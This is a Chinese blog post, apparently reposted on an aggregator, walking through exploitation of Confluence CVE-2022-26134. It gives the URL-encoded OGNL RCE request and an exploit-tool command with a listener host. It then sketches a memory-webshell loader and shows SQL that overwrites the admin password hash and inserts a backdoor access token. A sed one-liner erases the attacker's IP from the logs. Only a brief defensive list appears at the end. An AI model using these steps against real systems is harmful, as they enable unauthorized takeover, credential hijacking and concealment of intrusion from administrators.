当前位置: 首页 > news >正文

从RCE到数据库接管:一次完整的Confluence CVE-2022-26134实战利用与权限维持记录

从RCE到数据库接管:Confluence CVE-2022-26134漏洞的深度利用与权限维持实战

那是一个典型的渗透测试项目,目标企业使用了Atlassian Confluence作为内部知识管理系统。在初步侦察阶段,我注意到他们的Confluence版本号显示为7.13.5——这立刻触发了我的警觉,因为我知道这个版本范围正受到CVE-2022-26134的影响。这个漏洞允许攻击者通过精心构造的OGNL表达式注入实现远程代码执行(RCE),而无需任何认证。

1. 漏洞原理与初始利用

CVE-2022-26134的核心在于Confluence服务器错误地将用户提供的URI参数解析为OGNL(Object-Graph Navigation Language)表达式。正常情况下,这些参数应该被当作简单的字符串处理,但由于框架的设计缺陷,攻击者可以注入恶意OGNL代码,最终导致任意Java代码执行。

关键利用步骤

  1. 漏洞验证:首先发送一个简单的探测请求:

    GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29%7D/ HTTP/1.1 Host: target-confluence:8090
  2. 命令执行确认:当看到响应头中包含X-Cmd-Response字段,且内容为confluence(默认运行用户)时,确认漏洞存在。

  3. 自动化工具选择:虽然可以手动构造请求,但使用开源工具如through_the_wire能提高效率:

    python3 confluenceRce.py --rhost 192.168.1.100 --rport 8090 --lhost 10.0.0.5 --protocol http:// --cmd "id"

注意:在实际渗透中,避免使用会产生大量日志的明显命令如whoamiid,可以尝试更隐蔽的探测方式,如检查/proc/self/environ或特定文件存在性。

2. 突破Linux环境限制

成功执行命令只是第一步。在标准的Linux部署中,Confluence通常以低权限用户confluence运行,这带来了两个主要挑战:

  • 文件写入限制:Web目录通常不可写,无法直接部署Webshell
  • 权限提升困难:缺少sudo权限,难以直接提权

解决方案对比

方法优点缺点
传统Webshell简单直观需要可写目录,易被检测
内存马无文件落地,隐蔽性高需要特定框架知识
反向Shell交互性强网络连接可能被防火墙拦截

我最终选择了无文件内存马方案,使用开源工具注入基于Filter的内存Webshell:

// 简化版内存马注入代码 String className = "evil.MemShell"; byte[] classBytes = // 从远程加载的恶意类字节码 new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()) .defineClass(className, classBytes, 0, classBytes.length);

注入成功后,可以通过特定路径访问内存Webshell,完全绕过文件系统限制。这种技术的关键优势在于:

  • 不修改任何磁盘文件
  • 重启后失效(但可通过持久化机制重新注入)
  • 传统杀毒软件难以检测

3. 数据库访问与凭证操纵

获得执行环境后,下一步是定位和访问Confluence的数据库。默认配置下,数据库连接信息存储在:

/var/atlassian/application-data/confluence/confluence.cfg.xml

典型的PostgreSQL连接配置如下:

<property name="hibernate.connection.url">jdbc:postgresql://localhost:5432/confluence</property> <property name="hibernate.connection.username">confluenceuser</property> <property name="hibernate.connection.password">DB_PASSWORD</property>

数据库操作关键表

  • cwd_user:存储用户账号和加密后的密码
  • AO_81F455_PERSONAL_TOKEN:个人访问令牌(PAT)
  • bandana:存储会话令牌等敏感数据

两种持久化技术对比

  1. 密码替换法

    UPDATE cwd_user SET credential = '{PKCS5S2}UokaJs5wj02LBUJ...' WHERE user_name = 'admin';

    优点:直接控制现有管理员账户
    缺点:可能被定期密码审计发现

  2. 个人访问令牌创建

    INSERT INTO "AO_81F455_PERSONAL_TOKEN" ("HASHED_TOKEN", "USER_NAME", "CREATED_DATE") VALUES ('{PKCS5S2}Deoq/psifhVO0VE8qhJ6...', 'admin', NOW());

    优点:更隐蔽,不影响正常密码
    缺点:需要了解有效令牌格式

4. 痕迹清理与持久化策略

完成控制后,清除痕迹同样重要。Confluence的主要日志位置包括:

  • /var/atlassian/application-data/confluence/logs/
  • /opt/atlassian/confluence/logs/

自动化清理脚本示例

# 删除包含攻击IP的访问日志 find /var/atlassian/application-data/confluence/logs/ -type f -name "*.log" \ -exec sed -i '/192.168.1.100/d' {} \; # 清理PostgreSQL日志 psql -U confluenceuser -d confluence -c \ "SELECT pg_rotate_logfile();"

对于长期持久化,我推荐组合以下技术:

  1. 计划任务:通过内存马定期检查后门状态
  2. 数据库触发器:在特定表上设置触发器维持访问
  3. 合法插件:开发或修改一个Confluence插件作为持久化载体

防御检测建议

  • 监控异常的OGNL表达式解析
  • 限制Confluence服务器的出站连接
  • 对数据库操作进行审计
  • 定期检查内存中的可疑Java类

这次实战展示了从漏洞利用到完全控制的全过程,其中最关键的教训是:即使是最成熟的企业软件,错误配置和未及时修补的漏洞也可能导致整个系统沦陷。对于防御方而言,多层防护和持续监控必不可少。

http://www.jsqmd.com/news/642145/

相关文章:

  • openEuler服务器没网怎么办?保姆级教程:从系统依赖到Python虚拟环境的全离线部署实录
  • 2026年最新杨梅酒生产厂家综合评测:口碑与实力兼具的品牌推荐 - 2026年企业推荐榜
  • 2026年至今内蒙古地区优质球冠形封头供应商综合评估与选型指南 - 2026年企业推荐榜
  • 2026年市政广场扫地机服务公司深度解析与选型指南 - 2026年企业推荐榜
  • Flink CDC 3.0.0 同步Oracle 19c数据,我踩过的那些坑(时区、字符集、权限)
  • 如何用3分钟告别网盘限速:八大平台直链下载助手终极指南
  • 2026年第二季度宁波婚纱摄影市场诚信服务商综合评估与选择指南 - 2026年企业推荐榜
  • iStore增强插件:从网络优化到智能家居,一站式解决家庭网关痛点
  • 2026年当下,探寻上海优质调料定制厂家的核心实力与选择之道 - 2026年企业推荐榜
  • PyCharm 格式化代码的5个高阶技巧:从自定义规则到批量处理
  • Rocky Linux 9.2网络配置与本地yum源搭建实战指南
  • 告别手动敲代码!Quartus Prime 21.1 一键生成 Testbench 并联动 Modelsim 仿真的保姆级教程
  • SMUDebugTool深度解析:解锁Ryzen处理器隐藏性能的专业硬件调试实战指南
  • 单细胞miloR实战:基于KNN图的差异丰度分析在疾病研究中的应用
  • 用 Cursor 重构 iOS App:从遗留代码到性能优化(附实战案例与规则模板)
  • SAP Fiori Elements实战:避开CDS View发布OData服务的那些‘坑’(以List Report为例)
  • pubmed的使用
  • 胶囊网络实战避坑指南:PyTorch代码逐行解析,带你绕过动态路由和重构损失的那些‘坑’
  • Vitis HLS Schedule Viewer保姆级解读:从代码到硬件调度,一张图看懂你的设计瓶颈
  • 从产线到道路:车载毫米波雷达标定全流程的工程实践与挑战
  • 【2024新版】BurpSuite零基础安装到实战指南(含JDK配置+Firefox插件调试)
  • 前端福音!VuReact v1.6.0 版本更新,让 Vue 转 React 更高效、更可靠
  • VSCode+CMake构建STM32高效开发环境的实战指南
  • 5分钟快速上手:Zotero茉莉花插件中文文献管理终极指南
  • libhv实战:300行代码构建一个C++高性能ProtoRPC网关
  • 如何3步完成抖音音频批量提取:douyin-downloader抖音下载器完整指南
  • 133. Rancher 2.12.x 升级失败:检测到 RKE1 NodeTemplate 资源
  • 告别GPIB和USB?用TCP/IP连接示波器:基于NI-VISA的Linux自动化测试实战
  • 逆向工程师的汇编速成课:如何用5条核心指令理解程序底层逻辑
  • AIAgent算力成本飙升?3步精准定位隐性开销并压降47%的实操指南